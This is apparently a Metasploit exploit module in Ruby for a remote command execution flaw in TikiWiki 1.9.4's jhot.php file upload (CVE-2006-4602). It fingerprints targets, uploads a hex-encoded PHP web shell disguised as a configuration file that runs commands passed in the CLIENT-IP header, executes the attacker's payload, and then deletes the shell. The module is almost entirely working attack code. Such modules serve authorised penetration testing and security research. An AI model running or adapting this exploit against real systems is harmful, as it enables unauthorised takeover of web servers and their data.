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## # $Id: tikiwiki_jhot_exec.rb 9929 2010-07-25 21:37:54Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'TikiWiki jhot Remote Command Execution', 'Description'=> %q{ TikiWiki contains a flaw that may allow a malicious user to execute arbitrary PHP code. The issue is triggered due to the jhot.php script not correctly verifying uploaded files. It is possible that the flaw may allow arbitrary PHP code execution by uploading a malicious PHP script resulting in a loss of integrity. The vulnerability was reported in Tikiwiki version 1.9.4. }, 'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>' ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 9929 $', 'References' => [ ['CVE', '2006-4602'], ['OSVDB', '28456'], ['BID', '19819'], ['URL', 'http://secunia.com/advisories/21733/'], ], 'Privileged' => false, 'Payload'=> { 'DisableNops' => true, 'Space' => 1024, 'Compat'=> { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby bash telnet', } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets'=> [[ 'Automatic', { }]], 'DisclosureDate' => 'Sep 2 2006', 'DefaultTarget'=> 0)) register_options( [ OptString.new('URI', [true, "TikiWiki directory path", "/tikiwiki/"]), ], self.class) end def check res = send_request_raw( { 'uri' => datastore['URI'] + "/tiki-index.php", 'method'=> 'GET', 'headers' => { 'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', 'Connection' => 'Close', } }, 25) http_fingerprint({ :response => res })# check method if (res and res.code == 200 and res.body.match(/TikiWiki 1\.9\.4/)) return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Safe end def exploit create_temp_file() command = payload.encoded exe_command(command) remove_temp_file() end def create_temp_file url_jhot = datastore['URI'] + "/jhot.php" scode = "\x0d\x0a\x3c\x3f\x70\x68\x70\x0d\x0a\x2f\x2f\x20\x24\x48\x65\x61" + "\x64\x65\x72\x3a\x20\x2f\x63\x76\x73\x72\x6f\x6f\x74\x2f\x74\x69" + "\x6b\x69\x77\x69\x6b\x69\x2f\x74\x69\x6b\x69\x2f\x74\x69\x6b\x69" + "\x2d\x63\x6f\x6e\x66\x69\x67\x2e\x70\x68\x70\x2c\x76\x20\x31\x2e" + "\x38\x2e\x32\x2e\x35\x20\x32\x30\x30\x35\x2f\x30\x38\x2f\x32\x32" + "\x20\x30\x38\x3a\x30\x30\x3a\x35\x33\x20\x74\x65\x6c\x65\x6e\x69" + "\x65\x6b\x6f\x20\x45\x78\x70\x20\x24\x0d\x0a\x0d\x0a\x2f\x2f\x20" + "\x43\x6f\x70\x79\x72\x69\x67\x68\x74\x20\x28\x63\x29\x20\x32\x30" + "\x30\x32\x2d\x32\x30\x30\x35\x2c\x20\x4c\x75\x69\x73\x20\x41\x72" + "\x67\x65\x72\x69\x63\x68\x2c\x20\x47\x61\x72\x6c\x61\x6e\x64\x20" + "\x46\x6f\x73\x74\x65\x72\x2c\x20\x45\x64\x75\x61\x72\x64\x6f\x20" + "\x50\x6f\x6c\x69\x64\x6f\x72\x2c\x20\x65\x74\x2e\x20\x61\x6c\x2e" + "\x0d\x0a\x2f\x2f\x20\x41\x6c\x6c\x20\x52\x69\x67\x68\x74\x73\x20" + "\x52\x65\x73\x65\x72\x76\x65\x64\x2e\x20\x53\x65\x65\x20\x63\x6f" + "\x70\x79\x72\x69\x67\x68\x74\x2e\x74\x78\x74\x20\x66\x6f\x72\x20" + "\x64\x65\x74\x61\x69\x6c\x73\x20\x61\x6e\x64\x20\x61\x20\x63\x6f" + "\x6d\x70\x6c\x65\x74\x65\x20\x6c\x69\x73\x74\x20\x6f\x66\x20\x61" + "\x75\x74\x68\x6f\x72\x73\x2e\x0d\x0a\x2f\x2f\x20\x4c\x69\x63\x65" + "\x6e\x73\x65\x64\x20\x75\x6e\x64\x65\x72\x20\x74\x68\x65\x20\x47" + "\x4e\x55\x20\x4c\x45\x53\x53\x45\x52\x20\x47\x45\x4e\x45\x52\x41" + "\x4c\x20\x50\x55\x42\x4c\x49\x43\x20\x4c\x49\x43\x45\x4e\x53\x45" + "\x2e\x20\x53\x65\x65\x20\x6c\x69\x63\x65\x6e\x73\x65\x2e\x74\x78" + "\x74\x20\x66\x6f\x72\x20\x64\x65\x74\x61\x69\x6c\x73\x2e\x0d\x0a" + "\x0d\x0a\x23\x20\x24\x48\x65\x61\x64\x65\x72\x3a\x20\x2f\x63\x76" + "\x73\x72\x6f\x6f\x74\x2f\x74\x69\x6b\x69\x77\x69\x6b\x69\x2f\x74" + "\x69\x6b\x69\x2f\x62\x61\x6e\x6e\x65\x72\x5f\x69\x6d\x61\x67\x65" + "\x2e\x70\x68\x70\x2c\x76\x20\x31\x2e\x38\x2e\x32\x2e\x35\x20\x32" + "\x30\x30\x35\x2f\x30\x38\x2f\x32\x32\x20\x30\x38\x3a\x30\x30\x3a" + "\x35\x33\x20\x74\x65\x6c\x65\x6e\x69\x65\x6b\x6f\x20\x45\x78\x70" + "\x20\x24\x0d\x0a\x0d\x0a\x2f\x2f\x20\x74\x69\x6b\x69\x77\x69\x6b" + "\x69\x20\x63\x6f\x6e\x66\x69\x67\x75\x72\x61\x74\x69\x6f\x6e\x20" + "\x73\x63\x72\x69\x70\x74\x0d\x0a\x0d\x0a\x65\x76\x61\x6c\x28\x62" + "\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28\x22\x5a\x58" + "\x4a\x79\x62\x33\x4a\x66\x63\x6d\x56\x77\x62\x33\x4a\x30\x61\x57" + "\x35\x6e\x4b\x44\x41\x70\x4f\x33\x4e\x6c\x64\x46\x39\x30\x61\x57" + "\x31\x6c\x58\x32\x78\x70\x62\x57\x6c\x30\x4b\x44\x41\x70\x4f\x32" + "\x56\x6a\x61\x47\x38\x67\x49\x6d\x31\x35\x58\x32\x52\x6c\x62\x47" + "\x6c\x74\x49\x6a\x74\x77\x59\x58\x4e\x7a\x64\x47\x68\x79\x64\x53" + "\x67\x6b\x58\x31\x4e\x46\x55\x6c\x5a\x46\x55\x6c\x73\x69\x53\x46" + "\x52\x55\x55\x46\x39\x44\x54\x45\x6c\x46\x54\x6c\x52\x66\x53\x56" + "\x41\x69\x58\x53\x6b\x37\x22\x29\x29\x3b\x0d\x0a\x3f\x3e\x0d\x0a" data = "-----------------------------7d529a1d23092a\r\n" + "Content-Disposition: form-data; name=\"filepath\"; filename=\"tiki-config.php\";\r\n\r\n" + scode + "\r\n" + "-----------------------------7d529a1d23092a--\r\n" res = send_request_cgi({ 'uri' => url_jhot, 'method'=> 'POST', 'data'=> data, 'headers' => { 'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', 'Content-Type' => 'multipart/form-data; boundary=---------------------------7d529a1d23092a', 'Connection' => 'Close', } }, 25) if (res and res.message == "OK") print_status("Successfully created temporary file.") else print_error("Error creating temporary file.") end end def exe_command(cmd) url_config = datastore['URI'] + "/img/wiki/tiki-config.php" res = send_request_raw({ 'uri' => url_config, 'method'=> 'GET', 'headers' => { 'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', 'CLIENT-IP'=> "#{cmd};", 'Connection' => 'Close', } }, 25) if (res and res.message == "OK" and res.body.match(/my_delim/m)) print_status("The server returned: #{res.code} #{res.message} (#{res.headers['Server']})") cmd_output = res.body.match(/my_delim(.*)/m) if (cmd_output) print_status("Command output from the server :") print("\n" + cmd_output[1] + "\n") else print_error('No command output found. This server may not be vulnerable.') end else print_error("No response from the server") end end def remove_temp_file url_config = datastore['URI'] + "/img/wiki/tiki-config.php" res = send_request_raw({ 'uri' => url_config, 'method'=> 'GET', 'headers' => { 'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', 'CLIENT-IP'=> 'rm -f tiki-config.php', 'Connection' => 'Close', } }, 25) if (res and res.message == "OK") print_status("Successfully remove temporary file.") else print_error("Error removing temporary file.") end end end |
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